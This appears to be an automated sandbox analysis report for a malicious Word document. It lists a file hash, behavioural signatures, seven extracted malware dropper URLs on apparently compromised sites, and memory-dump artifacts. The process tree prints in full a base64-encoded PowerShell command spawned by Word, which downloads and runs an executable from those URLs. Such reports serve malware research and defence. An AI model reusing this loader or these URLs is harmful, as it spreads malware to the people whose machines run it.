Analysis
- max time kernel
147s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
11/06/2024, 12:43
General
- Target 9e37f4506bd62b3cd603d761d03d4e3a_JaffaCakes118.doc
- Size 175KB
- Sample240611-px2elsxbrc
- SHA256 a2fb44b956c628168a17b77559cf7a063c9fa448bfc4b9110e95fc623fe8ce77
Malware Config
Extracted
-
ps1
-
exe.dropper
http://bonyanet.com/wp-admin/iR/
-
exe.dropper
http://ofoghzagros.com/wp-admin/H/
-
exe.dropper
https://ilinknepal.com/infosysnepal.com/Zdz/
-
exe.dropper
https://storypostar.com/wp-admin/j/
-
exe.dropper
https://www.pixelstoryteller.com/hydroplane-definition/wzb/
-
exe.dropper
https://redchillicrackers.com/wp-content/p/
-
exe.dropper
http://www.co-traveling.com/cgi-bin/003/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9e37f4506bd62b3cd603d761d03d4e3a_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABIAHMAdgBqADYAagBtAD0AKAAoACcASgA5ACcAKwAnAHQAJwApACsAJwBvAHIAJwArACcAXwA5ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAcgBwAHIATwBmAGkAbABlAFwAdQBfADMAeQBCADQAcgBcAGoAMAA0AGEAZwA3AFoAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAGAAVQBSAGAASQB0AHkAUABSAGAATwBUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACgAJwAxADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACcAKQArACcAIAAnACsAJwB0ACcAKwAnAGwAcwAnACkAOwAkAFoAZgBlADcAcgA4ADEAIAA9ACAAKAAoACcASQBiACcAKwAnAGYAZQAnACkAKwAoACcAOAAnACsAJwBiADYAJwApACsAJwA0ACcAKQA7ACQAWgA5ADMAYgAzAHAAZQA9ACgAJwBXACcAKwAoACcAdgAnACsAJwAwAGwAcgAyACcAKQArACcAdAAnACkAOwAkAFAAbQB1AGsAMQA1ADQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcARAAnACsAKAAnAHkAZgBVACcAKwAnAF8AMwB5ACcAKwAnAGIAJwApACsAJwA0AHIAJwArACgAJwBEACcAKwAnAHkAZgBKADAANAAnACkAKwAnAGEAZwAnACsAJwA3ACcAKwAoACcAegBEACcAKwAnAHkAZgAnACkAKQAgAC0AcgBlAHAATABhAEMARQAgACgAWwBDAGgAQQBSAF0ANgA4ACsAWwBDAGgAQQBSAF0AMQAyADEAKwBbAEMAaABBAFIAXQAxADAAMgApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFoAZgBlADcAcgA4ADEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFcAawBlAGoAYwBkAG4APQAoACcARQAnACsAKAAnADEAZQAnACsAJwAxAHUAbgBqACcAKQApADsAJABZAGEAbwBnAHcAbwB1AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAdAAuAFcAZQBiAEMAbABJAEUAbgB0ADsAJABUAGcAcwB0AHQAdgA3AD0AKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBiAG8AbgB5AGEAbgBlACcAKwAnAHQALgBjAG8AbQAnACsAJwAvAHcAcAAtAGEAZABtACcAKwAnAGkAbgAvAGkAUgAvACcAKQArACcAKgBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvAG8AJwArACcAZgBvACcAKQArACcAZwBoACcAKwAoACcAegBhAGcAJwArACcAcgBvAHMALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwAnACsAJwBIAC8AKgBoAHQAdABwACcAKwAnAHMAJwArACcAOgAvACcAKQArACgAJwAvAGkAJwArACcAbABpACcAKQArACgAJwBuAGsAbgAnACsAJwBlAHAAYQAnACkAKwAnAGwALgAnACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAGkAbgAnACsAJwBmAG8AcwAnACsAJwB5AHMAJwArACcAbgBlAHAAYQAnACkAKwAoACcAbAAuACcAKwAnAGMAJwApACsAJwBvAG0AJwArACgAJwAvAFoAZAB6AC8AKgAnACsAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHMAdABvACcAKwAnAHIAeQBwACcAKwAnAG8AJwApACsAJwBzAHQAJwArACgAJwBhAHIAJwArACcALgBjACcAKQArACcAbwAnACsAJwBtACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGEAJwArACgAJwBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAGoALwAnACsAJwAqAGgAdAB0ACcAKQArACcAcABzACcAKwAoACcAOgAvAC8AJwArACcAdwB3AHcAJwArACcALgBwAGkAeABlAGwAcwAnACsAJwB0AG8AcgAnACkAKwAoACcAeQAnACsAJwB0ACcAKwAnAGUAbABsACcAKwAnAGUAcgAuAGMAbwBtAC8AaAB5AGQAcgAnACsAJwBvAHAAbABhAG4AJwApACsAKAAnAGUALQBkAGUAZgAnACsAJwBpAG4AaQAnACsAJwB0AGkAbwBuACcAKwAnAC8AdwB6AGIAJwArACcALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwAHMAOgAnACsAJwAvACcAKwAnAC8AcgBlACcAKwAnAGQAYwBoAGkAbABsACcAKwAnAGkAYwByACcAKQArACgAJwBhAGMAJwArACcAawBlACcAKQArACgAJwByACcAKwAnAHMALgBjAG8AbQAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBjACcAKwAnAG8AbgB0AGUAJwArACcAbgB0AC8AcAAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAvAHcAJwArACcAdwB3ACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwAtAHQAJwArACcAcgBhAHYAZQAnACkAKwAoACcAbABpAG4AZwAuAGMAJwArACcAbwBtACcAKwAnAC8AYwAnACsAJwBnACcAKQArACgAJwBpAC0AYgBpAG4ALwAnACsAJwAwADAAMwAnACkAKwAnAC8AJwApAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAbwA2AG0AdgA3AHcAPQAoACgAJwBLACcAKwAnADkAdwBvADAAJwApACsAJwBtADYAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATwBiAHgAOQBkAHkAMQAgAGkAbgAgACQAVABnAHMAdAB0AHYANwApAHsAdAByAHkAewAkAFkAYQBvAGcAdwBvAHUALgAiAEQAYABvAGAAVwBOAEwAbwBgAEEARABGAGkAbABFACIAKAAkAE8AYgB4ADkAZAB5ADEALAAgACQAUABtAHUAawAxADUANAApADsAJABRAHMAYgAzADIAdQA0AD0AKAAoACcATwAxACcAKwAnADcAJwApACsAKAAnAGIAJwArACcAawBvADgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUABtAHUAawAxADUANAApAC4AIgBMAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA5ADgANQAxACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAFAAbQB1AGsAMQA1ADQAKQA7ACQASQB0AGQANwBnAGIAXwA9ACgAJwBRACcAKwAoACcANgBmAHIAJwArACcAMAAnACkAKwAnAGMANQAnACkAOwBiAHIAZQBhAGsAOwAkAFYAZABjAGwAcgA4AGoAPQAoACcAWgAnACsAKAAnADMANgAnACsAJwBhAHUAaAAnACkAKwAnAGEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAGMAeAA0ADIAbwBxAD0AKAAnAEIAJwArACcAZABlACcAKwAoACcAegB5AHAAJwArACcAdgAnACkAKQA=1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_sdinivsd.x1r.ps1
memory/2596-61-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/2596-85-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/2596-82-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/2596-67-0x000001F27E990000-0x000001F27E9B2000-memory.dmp
memory/3040-9-0x00007FF95C9A0000-0x00007FF95C9B0000-memory.dmp
memory/3040-19-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-7-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-8-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-0-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp
memory/3040-11-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-10-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-12-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-13-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-14-0x00007FF95C9A0000-0x00007FF95C9B0000-memory.dmp
memory/3040-15-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-16-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-18-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-21-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-23-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-22-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-20-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-6-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-17-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-29-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-30-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-5-0x00007FF99EFAD000-0x00007FF99EFAE000-memory.dmp
memory/3040-1-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp
memory/3040-3-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp
memory/3040-79-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-80-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-81-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp
memory/3040-4-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp
memory/3040-2-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp
memory/3040-107-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp
memory/3040-106-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp
memory/3040-105-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp
memory/3040-104-0x00007FF95EF90000-0x00007FF95EFA0000-memory.dmp
memory/3040-108-0x00007FF99EF10000-0x00007FF99F105000-memory.dmp